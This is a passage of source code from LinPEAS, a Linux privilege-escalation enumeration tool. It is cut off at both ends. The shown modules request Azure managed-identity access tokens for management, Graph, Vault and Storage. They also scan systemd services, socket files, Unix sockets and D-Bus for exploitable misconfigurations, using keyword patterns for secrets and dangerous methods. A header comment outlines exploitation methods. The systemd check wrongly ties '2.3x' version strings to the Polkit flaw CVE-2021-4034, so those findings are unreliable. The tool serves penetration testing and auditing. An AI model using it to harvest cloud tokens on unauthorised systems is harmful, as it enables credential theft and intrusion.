1 system MI and several user MI to a VM. LinPEAS can only get the token from the default one. More info in https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://graph.microsoft.com/" echo "" print_3title "Vault token" "T1552.005,T1580" print_info "It's possible to assign 1 system MI and several user MI to a VM. LinPEAS can only get the token from the default one. More info in https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://vault.azure.net/" echo "" print_3title "Storage token" "T1552.005,T1580" print_info "It's possible to assign 1 system MI and several user MI to a VM. LinPEAS can only get the token from the default one. More info in https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://storage.azure.com/" echo "" fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/3_cloud/9_Azure_app_service.sh ================================================ # Title: Cloud - Azure App Service # ID: CL_Azure_app_service # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Azure App Service Enumeration # License: GNU GPL # Version: 1.0 # Mitre: T1552.005,T1580 # Functions Used: check_az_app, exec_with_jq, print_2title, print_3title # Global Variables: $is_az_app, # Initial Functions: check_az_app # Generated Global Variables: $API_VERSION, $HEADER, $az_req # Fat linpeas: 0 # Small linpeas: 0 API_VERSION="2019-08-01" #https://learn.microsoft.com/en-us/azure/app-service/overview-managed-identity?tabs=portal%2Chttp if [ "$is_az_app" = "Yes" ]; then print_2title "Azure App Service Enumeration" "T1552.005,T1580" HEADER="X-IDENTITY-HEADER:$IDENTITY_HEADER" az_req="" if [ "$(command -v curl || echo -n '')" ]; then az_req="curl -s -f -L -H '$HEADER'" elif [ "$(command -v wget || echo -n '')" ]; then az_req="wget -q -O - --header '$HEADER'" else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi if [ "$az_req" ]; then print_3title "Management token" "T1552.005,T1580" exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/" echo print_3title "Graph token" "T1552.005,T1580" exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/" echo print_3title "Vault token" "T1552.005,T1580" exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/" echo print_3title "Storage token" "T1552.005,T1580" exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/" fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/10_Services.sh ================================================ # Title: Processes & Cron & Services & Timers - Services and Service Files # ID: PR_Services # Author: Carlos Polop # Last Update: 2024-03-19 # Description: Services and service files analysis with privilege escalation vectors # License: GNU GPL # Version: 1.2 # Mitre: T1543.002,T1007 # Functions Used: echo_not_found, print_2title, print_info, print_3title # Global Variables: $EXTRA_CHECKS, $IAMROOT, $SEARCH_IN_FOLDER, $TIMEOUT, $WRITABLESYSTEMDPATH # Initial Functions: # Generated Global Variables: $service_unit, $service_path, $service_content, $finding, $findings, $service_file, $exec_path, $exec_paths, $service, $line, $target_file, $target_exec, $relpath1, $relpath2 # Fat linpeas: 0 # Small linpeas: 0 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Services and Service Files" "T1543.002,T1007" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#services" # Function to check service content for privilege escalation vectors check_service_content() { local service="$1" local findings="" # Check if service runs with elevated privileges if systemctl show "$service" -p User 2>/dev/null | grep -q "root"; then findings="${findings}RUNS_AS_ROOT: Service runs as root\n" fi # Get the executable path and check it local exec_path=$(systemctl show "$service" -p ExecStart 2>/dev/null | cut -d= -f2 | cut -d' ' -f1) if [ -n "$exec_path" ]; then if [ -w "$exec_path" ]; then findings="${findings}WRITABLE_EXEC: Executable is writable: $exec_path\n" fi # Check for relative paths #case "$exec_path" in # /*) : ;; # Absolute path, do nothing # *) findings="${findings}RELATIVE_PATH: Uses relative path: $exec_path\n" ;; #esac # Check for weak permissions if [ -e "$exec_path" ] && [ "$(stat -c %a "$exec_path" 2>/dev/null)" = "777" ]; then findings="${findings}WEAK_PERMS: Executable has 777 permissions\n" fi fi # Check for unsafe configurations if systemctl show "$service" -p ExecStart 2>/dev/null | grep -qE '(chmod|chown|mount|sudo|su)'; then findings="${findings}UNSAFE_CMD: Uses potentially dangerous commands\n" fi # Check for environment variables with sensitive data if systemctl show "$service" -p Environment 2>/dev/null | grep -qE '(PASS|SECRET|KEY|TOKEN|CRED)'; then findings="${findings}SENSITIVE_ENV: Contains sensitive environment variables\n" fi # Check for capabilities if systemctl show "$service" -p CapabilityBoundingSet 2>/dev/null | grep -qE '(CAP_SYS_ADMIN|CAP_DAC_OVERRIDE|CAP_DAC_READ_SEARCH)'; then findings="${findings}DANGEROUS_CAPS: Has dangerous capabilities\n" fi # If any findings, print them if [ -n "$findings" ]; then echo " Potential issue in service: $service" echo "$findings" | while read -r finding; do [ -n "$finding" ] && echo " └─ $finding" done fi } # Function to check service file for privilege escalation vectors check_service_file() { local service_file="$1" local findings="" # Check if service file is writable (following symlinks) if [ -L "$service_file" ]; then # If it's a symlink, check the target file local target_file=$(readlink -f "$service_file") if ! [ "$IAMROOT" ] && [ -w "$target_file" ] && [ -f "$target_file" ] && ! [ "$SEARCH_IN_FOLDER" ]; then findings="${findings}WRITABLE_FILE: Service target file is writable: $target_file\n" fi elif ! [ "$IAMROOT" ] && [ -w "$service_file" ] && [ -f "$service_file" ] && ! [ "$SEARCH_IN_FOLDER" ]; then findings="${findings}WRITABLE_FILE: Service file is writable\n" fi # Check for weak permissions (following symlinks) if [ "$(stat -L -c %a "$service_file" 2>/dev/null)" = "777" ]; then findings="${findings}WEAK_PERMS: Service file has 777 permissions\n" fi # Check for relative paths in Exec directives - Original logic local relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' "$service_file" 2>/dev/null | grep -Iv "=/") local relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$service_file" 2>/dev/null) if [ "$relpath1" ] || [ "$relpath2" ]; then if [ "$WRITABLESYSTEMDPATH" ]; then findings="${findings}RELATIVE_PATH: Could be executing some relative path (systemd path is writable)\n" else findings="${findings}RELATIVE_PATH: Could be executing some relative path\n" fi fi # Check for writable executables (following symlinks) local exec_paths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$service_file" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') printf "%s\n" "$exec_paths" | while read -r exec_path; do if [ -n "$exec_path" ]; then if [ -L "$exec_path" ]; then local target_exec=$(readlink -f "$exec_path") if [ -w "$target_exec" ]; then findings="${findings}WRITABLE_EXEC: Executable target is writable: $target_exec\n" fi elif [ -w "$exec_path" ]; then findings="${findings}WRITABLE_EXEC: Executable is writable: $exec_path\n" fi fi done # If any findings, print them if [ -n "$findings" ]; then echo " Potential issue in service file: $service_file" echo "$findings" | while read -r finding; do [ -n "$finding" ] && echo " └─ $finding" done fi } # List all services and check for privilege escalation vectors echo "" print_3title "Active services:" "T1543.002,T1007" systemctl list-units --type=service --state=active 2>/dev/null | grep -v "UNIT" | while read -r line; do service_unit=$(echo "$line" | awk '{print $1}') if [ -n "$service_unit" ]; then # Print the service line with highlighting echo "$line" | sed -${E} "s,$service_unit,${SED_GREEN}," # Get service file path service_path=$(systemctl show "$service_unit" -p FragmentPath 2>/dev/null | cut -d= -f2) if [ -n "$service_path" ]; then check_service_file "$service_path" fi # Check service content for privilege escalation vectors check_service_content "$service_unit" fi done || echo_not_found # Check for disabled but available services echo "" print_3title "Disabled services:" "T1543.002,T1007" systemctl list-unit-files --type=service --state=disabled 2>/dev/null | grep -v "UNIT FILE" | while read -r line; do service_unit=$(echo "$line" | awk '{print $1}') if [ -n "$service_unit" ]; then # Print the service line with highlighting echo "$line" | sed -${E} "s,$service_unit,${SED_GREEN}," # Get service file path service_path=$(systemctl show "$service_unit" -p FragmentPath 2>/dev/null | cut -d= -f2) if [ -n "$service_path" ]; then check_service_file "$service_path" fi # Check service content for privilege escalation vectors check_service_content "$service_unit" fi done || echo_not_found # Check service files from PSTORAGE_SYSTEMD if [ -n "$PSTORAGE_SYSTEMD" ]; then echo "" print_3title "Additional service files:" "T1543.002,T1007" printf "%s\n" "$PSTORAGE_SYSTEMD" | while read -r service_file; do if [ -n "$service_file" ] && [ -e "$service_file" ]; then check_service_file "$service_file" fi done fi # Check for outdated services if EXTRA_CHECKS is enabled if [ "$EXTRA_CHECKS" ]; then echo "" print_3title "Service versions and status:" "T1543.002,T1007" if [ "$TIMEOUT" ]; then $TIMEOUT 30 sh -c "(service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null" || echo_not_found "service|chkconfig|rc-status|launchctl" else (service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl" fi fi # Check systemd path writability if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN}," else echo "You can write on systemd PATH" | sed -${E} "s,.*,${SED_RED}," echo "If a relative path is used, it's possible to abuse it." fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/11_Systemd.sh ================================================ # Title: System Information - Systemd # ID: SY_Systemd # Author: Carlos Polop # Last Update: 2024-03-19 # Description: Check for systemd vulnerabilities and misconfigurations that could lead to privilege escalation: # - Systemd version vulnerabilities (CVE-2021-4034, CVE-2021-33910, etc.) # - Services running as root that could be exploited # - Services with dangerous capabilities that could be abused # - Services with writable paths that could be used to inject malicious code # - Exploitation methods: # * Version exploits: Use known exploits for vulnerable systemd versions # * Root services: Abuse services running as root to execute commands # * Capabilities: Abuse services with dangerous capabilities (CAP_SYS_ADMIN, etc.) # * Writable paths: Replace executables in writable paths to get code execution # License: GNU GPL # Version: 1.1 # Mitre: T1543.002 # Functions Used: print_2title, print_list, echo_not_found # Global Variables: $SEARCH_IN_FOLDER, $Wfolders, $SED_RED, $SED_RED_YELLOW, $NC # Initial Functions: # Generated Global Variables: $WRITABLESYSTEMDPATH, $line, $service, $file, $version, $user, $caps, $path, $path_line, $service_file, $exec_line, $exec_value, $cmd, $cmd_path, $svc_path_entry, $svc_writable_path # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Systemd Information" "T1543.002" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#systemd-path---relative-paths" # Function to check if systemctl is available check_systemctl() { if ! command -v systemctl >/dev/null 2>&1; then echo_not_found "systemctl" return 1 fi return 0 } # Function to list running systemd services list_running_services() { systemctl list-units --type=service --state=running 2>/dev/null } # Function to get service file path get_service_file() { local service="$1" local file="" for path in "/etc/systemd/system/$service" "/lib/systemd/system/$service"; do if [ -f "$path" ]; then file="$path" break fi done echo "$file" } # Function to check dangerous capabilities check_dangerous_caps() { local caps="$1" echo "$caps" | grep -qE '(CAP_SYS_ADMIN|CAP_DAC_OVERRIDE|CAP_DAC_READ_SEARCH|CAP_SETUID|CAP_SETGID|CAP_NET_ADMIN)' return $? } # Check systemd version and known vulnerabilities print_list "Systemd version and vulnerabilities? .............. "$NC if check_systemctl; then version=$(systemctl --version | head -n 1 | grep -oE '([0-9]+(\.[0-9]+)+)') if [ -n "$version" ]; then echo "$version" | sed -${E} "s,([0-9]+(\.[0-9]+)+),${SED_RED},g" # Check for known vulnerable versions case "$version" in "2.3"[0-4]|"2.3"[0-4]"."*) echo " └─ Vulnerable to CVE-2021-4034 (Polkit)" | sed -${E} "s,.*,${SED_RED},g" ;; "2.4"[0-9]|"2.4"[0-9]"."*) echo " └─ Vulnerable to CVE-2021-33910 (systemd-tmpfiles)" | sed -${E} "s,.*,${SED_RED},g" ;; esac fi fi # Check for systemd services running as root print_list "Services running as root? ..... "$NC if check_systemctl; then list_running_services | grep -E "root|0:0" | while read -r line; do service=$(echo "$line" | awk '{print $1}') user=$(systemctl show "$service" -p User 2>/dev/null | cut -d= -f2) echo "$service (User: $user)" | sed -${E} "s,root|0:0,${SED_RED},g" done echo "" else echo "" fi # Check for systemd services with dangerous capabilities print_list "Running services with dangerous capabilities? ... "$NC if check_systemctl; then list_running_services | grep -E "\.service" | while read -r line; do service=$(echo "$line" | awk '{print $1}') caps=$(systemctl show "$service" -p CapabilityBoundingSet 2>/dev/null | cut -d= -f2) if [ -n "$caps" ] && check_dangerous_caps "$caps"; then echo "$service: $caps" | sed -${E} "s,.*,${SED_RED},g" fi done echo "" else echo "" fi # Check for systemd services with writable paths print_list "Services with writable paths? . "$NC if check_systemctl; then list_running_services | grep -E "\.service" | while read -r line; do service=$(echo "$line" | awk '{print $1}') service_file=$(get_service_file "$service") if [ -n "$service_file" ]; then # Check service-specific PATH entries (Environment=PATH=...) svc_writable_path=$(grep -E '^Environment=.*PATH=' "$service_file" 2>/dev/null | sed -E 's/^Environment=//; s/^"//; s/"$//; s/^PATH=//' | tr ':' '\n' | while read -r svc_path_entry; do [ -z "$svc_path_entry" ] && continue if [ -d "$svc_path_entry" ] && [ -w "$svc_path_entry" ]; then echo "$svc_path_entry" fi done) if [ "$svc_writable_path" ]; then for svc_path_entry in $svc_writable_path; do echo "$service: Writable service PATH entry '$svc_path_entry'" | sed -${E} "s,.*,${SED_RED_YELLOW},g" done fi # Check ExecStart paths grep -E "ExecStart|ExecStartPre|ExecStartPost" "$service_file" 2>/dev/null | while read -r exec_line; do # Extract command from the right side of Exec*=, not from argv exec_value="${exec_line#*=}" exec_value=$(echo "$exec_value" | sed 's/^[[:space:]]*//') cmd=$(echo "$exec_value" | awk '{print $1}' | tr -d '"') # Strip systemd command prefixes (-, @, :, +, !) before path checks cmd_path=$(echo "$cmd" | sed -E 's/^[-@:+!]+//') # Only check the command path, not arguments if [ -n "$cmd_path" ] && [ -w "$cmd_path" ]; then echo "$service: $cmd_path (from $exec_line)" | sed -${E} "s,.*,${SED_RED},g" fi # Check for relative paths only in the command, not arguments if [ -n "$cmd_path" ] && [ "${cmd_path#/}" = "$cmd_path" ] && [ "${cmd_path#\$}" = "$cmd_path" ]; then echo "$service: Uses relative path '$cmd_path' (from $exec_line)" | sed -${E} "s,.*,${SED_RED},g" if [ "$svc_writable_path" ]; then echo "$service: Relative Exec path + writable service PATH can allow path hijacking" | sed -${E} "s,.*,${SED_RED_YELLOW},g" fi fi done fi done else echo "" fi echo "" print_2title "Systemd PATH" "T1543.002" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#systemd-path---relative-paths" if check_systemctl; then systemctl show-environment 2>/dev/null | grep "PATH" | while read -r path_line; do echo "$path_line" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g" # Store writable paths for later use if echo "$path_line" | grep -qE "$Wfolders"; then WRITABLESYSTEMDPATH="$path_line" fi done fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/12_Socket_files.sh ================================================ # Title: Processes & Cron & Services & Timers - Socket Files Analysis # ID: PR_Socket_files # Author: Carlos Polop # Last Update: 2024-03-19 # Description: Analyze .socket files for privilege escalation vectors: # - Writable socket files # - Socket files executing writable binaries # - Socket files with writable listeners # - Socket files with relative paths # - Socket files with unsafe configurations # License: GNU GPL # Version: 1.2 # Mitre: T1559 # Functions Used: print_2title, print_info, print_list # Global Variables: $IAMROOT, $SEARCH_IN_FOLDER, $SED_RED, $SED_RED_YELLOW, $NC # Initial Functions: # Generated Global Variables: $exec_path, $listen_path, $path, $exec_paths, $finding, $listen_paths, $socket_file, $findings, $target_file, $target_listen, $target_exec, $lpath # Fat linpeas: 0 # Small linpeas: 0 if ! [ "$IAMROOT" ]; then print_2title "Analyzing .socket files" "T1559" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sockets" # Function to check if path is relative is_relative_path() { local lpath="$1" case "$lpath" in /*) return 1 ;; # Absolute path *) return 0 ;; # Relative path esac } # Function to check socket file content check_socket_file() { local socket_file="$1" local findings="" # Check if socket file is writable (following symlinks) if [ -L "$socket_file" ]; then # If it's a symlink, check the target file local target_file=$(readlink -f "$socket_file") if ! [ "$IAMROOT" ] && [ -w "$target_file" ] && [ -f "$target_file" ] && ! [ "$SEARCH_IN_FOLDER" ]; then findings="${findings}WRITABLE_FILE: Socket target file is writable: $target_file\n" fi elif ! [ "$IAMROOT" ] && [ -w "$socket_file" ] && [ -f "$socket_file" ] && ! [ "$SEARCH_IN_FOLDER" ]; then findings="${findings}WRITABLE_FILE: Socket file is writable\n" fi # Check for weak permissions (following symlinks) if [ "$(stat -L -c %a "$socket_file" 2>/dev/null)" = "777" ]; then findings="${findings}WEAK_PERMS: Socket file has 777 permissions\n" fi # Check for executables (following symlinks) local exec_paths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$socket_file" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') printf "%s\n" "$exec_paths" | while read -r exec_path; do if [ -n "$exec_path" ]; then # Check if executable is writable (following symlinks) if [ -L "$exec_path" ]; then local target_exec=$(readlink -f "$exec_path") if [ -w "$target_exec" ]; then findings="${findings}WRITABLE_EXEC: Executable target is writable: $target_exec\n" fi # Check for weak permissions on target if [ -e "$target_exec" ] && [ "$(stat -L -c %a "$target_exec" 2>/dev/null)" = "777" ]; then findings="${findings}WEAK_EXEC_PERMS: Executable target has 777 permissions: $target_exec\n" fi else if [ -w "$exec_path" ]; then findings="${findings}WRITABLE_EXEC: Executable is writable: $exec_path\n" fi # Check for weak permissions if [ -e "$exec_path" ] && [ "$(stat -L -c %a "$exec_path" 2>/dev/null)" = "777" ]; then findings="${findings}WEAK_EXEC_PERMS: Executable has 777 permissions: $exec_path\n" fi fi # Check for relative paths if is_relative_path "$exec_path"; then findings="${findings}RELATIVE_PATH: Uses relative path: $exec_path\n" fi fi done # Check for listeners (following symlinks) local listen_paths=$(grep -Eo '^(Listen).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$socket_file" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') printf "%s\n" "$listen_paths" | while read -r listen_path; do if [ -n "$listen_path" ]; then # Check if listener path is writable (following symlinks) if [ -L "$listen_path" ]; then local target_listen=$(readlink -f "$listen_path") if [ -w "$target_listen" ]; then findings="${findings}WRITABLE_LISTENER: Listener target path is writable: $target_listen\n" fi # Check for weak permissions on target if [ -e "$target_listen" ] && [ "$(stat -L -c %a "$target_listen" 2>/dev/null)" = "777" ]; then findings="${findings}WEAK_LISTENER_PERMS: Listener target path has 777 permissions: $target_listen\n" fi else if [ -w "$listen_path" ]; then findings="${findings}WRITABLE_LISTENER: Listener path is writable: $listen_path\n" fi # Check for weak permissions if [ -e "$listen_path" ] && [ "$(stat -L -c %a "$listen_path" 2>/dev/null)" = "777" ]; then findings="${findings}WEAK_LISTENER_PERMS: Listener path has 777 permissions: $listen_path\n" fi fi # Check for relative paths if is_relative_path "$listen_path"; then findings="${findings}RELATIVE_LISTENER: Uses relative path: $listen_path\n" fi fi done # Check for unsafe configurations if grep -qE '^(User|Group)=root' "$socket_file" 2>/dev/null; then findings="${findings}ROOT_USER: Socket runs as root\n" fi if grep -qE '^(CapabilityBoundingSet).*CAP_SYS_ADMIN' "$socket_file" 2>/dev/null; then findings="${findings}DANGEROUS_CAPS: Has dangerous capabilities\n" fi if grep -qE '^(BindIP|BindIPv6Only)=yes' "$socket_file" 2>/dev/null; then findings="${findings}NETWORK_BIND: Can bind to network interfaces\n" fi # If any findings, print them if [ -n "$findings" ]; then echo "Potential privilege escalation in socket file: $socket_file" echo "$findings" | while read -r finding; do [ -n "$finding" ] && echo " └─ $finding" | sed -${E} "s,WRITABLE.*,${SED_RED},g" | sed -${E} "s,RELATIVE.*,${SED_RED_YELLOW},g" done fi } # Process each socket file if [ -n "$PSTORAGE_SOCKET" ]; then printf "%s\n" "$PSTORAGE_SOCKET" | while read -r socket_file; do if [ -n "$socket_file" ] && [ -e "$socket_file" ]; then check_socket_file "$socket_file" fi done else print_list "No socket files found" "$NC" fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/13_Unix_sockets_listening.sh ================================================ # Title: Processes & Cron & Services & Timers - Unix Sockets Analysis # ID: PR_Unix_sockets_listening # Author: Carlos Polop # Last Update: 2024-03-19 # Description: Analyze Unix sockets for privilege escalation vectors: # - Listening Unix sockets # - Socket file permissions # - Socket ownership # - Socket connectivity # - Socket protocol analysis # License: GNU GPL # Version: 1.1 # Mitre: T1571,T1049 # Functions Used: print_2title, print_info # Global Variables: $EXTRA_CHECKS, $groupsB, $groupsVB, $IAMROOT, $idB, $knw_grps, $knw_usrs, $nosh_usrs, $SEARCH_IN_FOLDER, $sh_usrs, $USER, $SED_RED, $SED_GREEN, $SED_RED_YELLOW, $NC, $RED # Initial Functions: # Generated Global Variables: $unix_scks_list, $unix_scks_list2, $perms, $owner, $owner_info, $response, $socket, $cmd, $mode, $group # Fat linpeas: 0 # Small linpeas: 0 if ! [ "$IAMROOT" ]; then if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Unix Sockets Analysis" "T1571,T1049" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sockets" # Function to get socket permissions get_socket_perms() { local socket="$1" local perms="" # Check read permission if [ -r "$socket" ]; then perms="Read " fi # Check write permission if [ -w "$socket" ]; then perms="${perms}Write " fi # Check execute permission if [ -x "$socket" ]; then perms="${perms}Execute " fi # Check socket mode local mode=$(stat -c "%a" "$socket" 2>/dev/null) if [ "$mode" = "777" ] || [ "$mode" = "666" ]; then perms="${perms}(Weak Permissions: $mode) " fi echo "$perms" } # Function to check socket connectivity check_socket_connectivity() { local socket="$1" local perms="$2" if [ "$EXTRA_CHECKS" ] && command -v curl >/dev/null 2>&1; then # Try to connect to the socket if curl -v --unix-socket "$socket" --max-time 1 http:/linpeas 2>&1 | grep -iq "Permission denied"; then perms="${perms} - Cannot Connect" else perms="${perms} - Can Connect" fi fi echo "$perms" } # Function to analyze socket protocol analyze_socket_protocol() { local socket="$1" local owner="$2" local response="" # Try to get HTTP response if command -v curl >/dev/null 2>&1; then response=$(curl --max-time 2 --unix-socket "$socket" http:/index 2>/dev/null) if [ $? -eq 0 ]; then echo " └─ HTTP Socket (owned by $owner):" | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g" echo " └─ Response to /index (limit 30):" echo "$response" | head -n 30 | sed 's/^/ /' fi fi } # Function to get socket owner and group get_socket_owner() { local socket="$1" local owner="" local group="" if [ -e "$socket" ]; then owner=$(ls -l "$socket" 2>/dev/null | awk '{print $3}') group=$(ls -l "$socket" 2>/dev/null | awk '{print $4}') echo "$owner:$group" fi } # Collect listening sockets using multiple methods unix_scks_list="" for cmd in "ss -xlp -H state listening" "ss -l -p -A 'unix'" "netstat -a -p --unix"; do if [ -z "$unix_scks_list" ]; then unix_scks_list=$($cmd 2>/dev/null | grep -Eo "/[a-zA-Z0-9\._/\-]+" | grep -v " " | sort -u) fi done # Get additional socket information if [ -z "$unix_scks_list" ]; then unix_scks_list=$(lsof -U 2>/dev/null | awk '{print $9}' | grep "/" | sort -u) fi # Find socket files if ! [ "$SEARCH_IN_FOLDER" ]; then unix_scks_list2=$(find / -type s 2>/dev/null) else unix_scks_list2=$(find "$SEARCH_IN_FOLDER" -type s 2>/dev/null) fi # Process all found sockets (printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2") | sort -u | while read -r socket; do if [ -n "$socket" ] && [ -e "$socket" ]; then # Get socket information perms=$(get_socket_perms "$socket") perms=$(check_socket_connectivity "$socket" "$perms") owner_info=$(get_socket_owner "$socket") # Print socket information if [ -z "$perms" ]; then echo "$socket" | sed -${E} "s,$socket,${SED_GREEN},g" else echo "$socket" | sed -${E} "s,$socket,${SED_RED},g" echo " └─(${RED}${perms}${NC})" | sed -${E} "s,Cannot Connect,${SED_GREEN},g" # Analyze socket protocol if we can connect if echo "$perms" | grep -q "Can Connect"; then analyze_socket_protocol "$socket" "$owner_info" fi # Highlight dangerous ownership if echo "$owner_info" | grep -q "root"; then echo " └─(${RED}Owned by root${NC})" if echo "$perms" | grep -q "Write"; then echo " └─High risk: root-owned and writable Unix socket" | sed -${E} "s,.*,${SED_RED_YELLOW},g" fi fi fi fi done fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/14_DBus_analysis.sh ================================================ # Title: Processes & Cron & Services & Timers - D-Bus Analysis # ID: PR_DBus_analysis # Author: Carlos Polop # Last Update: 2024-03-19 # Description: Comprehensive D-Bus analysis for privilege escalation vectors: # - D-Bus Service Objects enumeration # - D-Bus Service Object permissions and ownership # - D-Bus Configuration files analysis # - D-Bus Policy analysis # - D-Bus Method and Interface analysis # - D-Bus Privilege Escalation Vectors # License: GNU GPL # Version: 1.3 # Mitre: T1559.001 # Functions Used: print_2title, print_3title, print_info, echo_not_found # Global Variables: $IAMROOT, $mygroups, $nosh_usrs, $SEARCH_IN_FOLDER, $sh_usrs, $USER, $dbuslistG, $knw_usrs, $rootcommon, $SED_RED, $SED_GREEN, $SED_BLUE, $SED_LIGHT_CYAN, $SED_LIGHT_MAGENTA, $NC # Initial Functions: # Generated Global Variables: $dbuslist, $srvc_object, $genpol, $userpol, $grppol, $dangerous_service, $pattern, $dir, $weak_policies, $dangerous_services, $dangerous, $dbussrvc_object, $patterns, $methods, $file, $dbusservice, $session_services, $prop, $dangerous_session_services, $interface, $dangerous_methods, $dbus_file, $dbus_service, $method, $dangerous_patterns, $properties, $interfaces, $dangerous_props, $service, $info, $allow_rules # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "D-Bus Analysis" "T1559.001" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#d-bus" # Function to check for dangerous methods check_dangerous_methods() { service="$1" interface="$2" dangerous=0 dangerous_methods="" # Common dangerous method patterns - using space-separated string instead of array patterns="StartUnit StopUnit RestartUnit EnableUnit DisableUnit SetProperty SetUser SetPassword CreateUser DeleteUser ModifyUser Execute Run Spawn Shell Command Exec Authenticate Login Logout Reboot Shutdown PowerOff Suspend Hibernate Update Install Uninstall Configure Modify Change Delete Remove Add Create Write Read Access Grant Revoke Allow Deny" # Get methods for the interface methods=$(busctl introspect "$service" "$interface" 2>/dev/null | grep "method" | awk '{print $2}') # Check each method against dangerous patterns for method in $methods; do for pattern in $patterns; do if echo "$method" | grep -qi "$pattern"; then dangerous=1 dangerous_methods="${dangerous_methods}${method} " fi done done if [ "$dangerous" -eq 1 ]; then echo " └─(${RED}Potentially dangerous methods found${NC})" echo " └─ $dangerous_methods" | sed 's/^/ /' fi return $dangerous } # Function to check for dangerous properties check_dangerous_properties() { service="$1" interface="$2" dangerous=0 dangerous_props="" # Common dangerous property patterns - using space-separated string instead of array patterns="Executable Command Path User Group Permission Access Auth Password Secret Key Token Credential Config Setting Policy Rule Allow Deny Write Read Execute" # Get properties for the interface properties=$(busctl introspect "$service" "$interface" 2>/dev/null | grep "property" | awk '{print $2}') # Check each property against dangerous patterns for prop in $properties; do for pattern in $patterns; do if echo "$prop" | grep -qi "$pattern"; then dangerous=1 dangerous_props="${dangerous_props}${prop} " fi done done if [ "$dangerous" -eq 1 ]; then echo " └─(${RED}Potentially dangerous properties found${NC})" echo " └─ $dangerous_props" | sed 's/^/ /' fi return $dangerous } # Function to analyze service object analyze_service_object() { dbusservice="$1" info="" dangerous=0 # Get service status info=$(busctl status "$dbusservice" 2>/dev/null) # Check for root ownership if echo "$info" | grep -qE "^(UID|EUID|OwnerUID)=0"; then echo " └─(${RED}Running as root${NC})" dangerous=1 fi # Get service interfaces interfaces=$(busctl tree "$dbusservice" 2>/dev/null) if [ -n "$interfaces" ]; then echo " └─ Interfaces:" echo "$interfaces" | sed 's/^/ /' # Check each interface for dangerous methods and properties echo "$interfaces" | while read -r interface; do if [ -n "$interface" ]; then if check_dangerous_methods "$dbusservice" "$interface"; then dangerous=1 fi if check_dangerous_properties "$dbusservice" "$interface"; then dangerous=1 fi fi done fi # Check for known dangerous services - using space-separated string instead of array dangerous_services="org.freedesktop.systemd1 org.freedesktop.PolicyKit1 org.freedesktop.Accounts org.freedesktop.login1 org.freedesktop.hostname1 org.freedesktop.timedate1 org.freedesktop.locale1 org.freedesktop.machine1 org.freedesktop.portable1 org.freedesktop.resolve1 org.freedesktop.timesync1 org.freedesktop.import1 org.freedesktop.export1 org.gnome.SettingsDaemon org.gnome.Shell org.gnome.SessionManager org.gnome.DisplayManager org.gnome.ScreenSaver" for dangerous_service in $dangerous_services; do if echo "$dbusservice" | grep -qi "$dangerous_service"; then echo " └─(${RED}Known dangerous service: 